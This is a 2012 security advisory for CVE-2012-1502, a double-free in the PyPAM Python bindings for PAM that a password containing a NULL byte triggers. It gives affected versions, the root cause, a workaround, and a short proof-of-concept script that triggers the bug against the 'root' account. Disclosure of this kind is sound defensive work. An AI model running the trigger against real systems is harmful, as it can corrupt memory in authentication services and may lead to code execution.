PyPAM -- Python bindings for PAM - Double Free Corruption
- - ---------------------------------------------------------

Affected Versions
=================
PyPAM <= 0.4.2
Red Hat PyPAM <= 0.5.0-12
Debian python-pam <= 0.4.2-12.2
Ubuntu python-pam <= 0.4.2-12.2
SUSE python-pam <= 0.5.0-79.1.2
Gentoo pypam <= 0.5.0

Problem Overview
================
Technical Risk: high
Likelihood of Exploit: low to medium
Vendor: Rob Riggs, Various
Discovery: Markus Vervier
Advisory URL: http://www.lsexperts.de/advisories/lse-2012-03-01.txt
Advisory Status: Public
CVE-Number: CVE-2012-1502

Problem Description
===================
While conducting an internal test LSE discovered that by supplying
a password containing a NULL-byte to the PyPAM module, a double-free [1]
condition is triggered. This leads to undefined behaviour and may allow
remote code execution.

Temporary Workaround and Fix
============================
Filtering NULL-bytes in strings before passing them to the PyPAM module
will mitigate the exploit. Also current GLIBC protections may prevent
the double-free condition from being exploitable. It is advised to update
to a fixed version of PyPAM.

Detailed Description
====================
When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with
Null-Bytes, a TypeError exception is raised [2]. The security problem
is in
line 82 of PAMmodule.c where free() is called on *resp, but *resp is not
set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls
free on the response again unless (*resp == NULL), which leads to
undefined behaviour.

The following PoC script triggers the problem:

<--snip-->
#!/usr/bin/env python
##
## python-pam 0.4.2 double free PoC
##
## 2012 Leading Security Experts GmbH
## Markus Vervier
##
# -*- coding: utf-8 -*-

def verify_password(user, password):
import PAM
def pam_conv(auth, query_list, userData):
resp = []
resp.append( (password, 0))
return resp
res = -3
service = 'passwd'

auth = PAM.pam()
auth.start(service)
auth.set_item(PAM.PAM_USER, user)
auth.set_item(PAM.PAM_CONV, pam_conv)
try:
auth.authenticate()
auth.acct_mgmt()
except PAM.error, resp:
print 'Go away! (%s)' % resp
res = -1
except:
print 'Internal error'
res = -2
else:
print 'Good to go!'
res = 0

return res

print verify_password("root", "a\x00secret")
<--snip-->

History
=======
2012-03-02 Problem discovery during internal QA
2012-03-05 Original vendor and Debian maintainer contacted
2012-03-06 Public Patch released
2012-03-07 Various maintainers contacted
2012-03-07 CVE-2012-1502 assigned
2012-03-08 LSE learned in that this bug was previously discovered and
fixed in rPath Linux [3]
2012-03-08 Coordinated Advisory Release

References
==========
[1] http://cwe.mitre.org/data/definitions/415.html
[2] http://docs.python.org/release/1.5.2p2/ext/parseTuple.html
[3] https://issues.rpath.com/browse/RPL-2773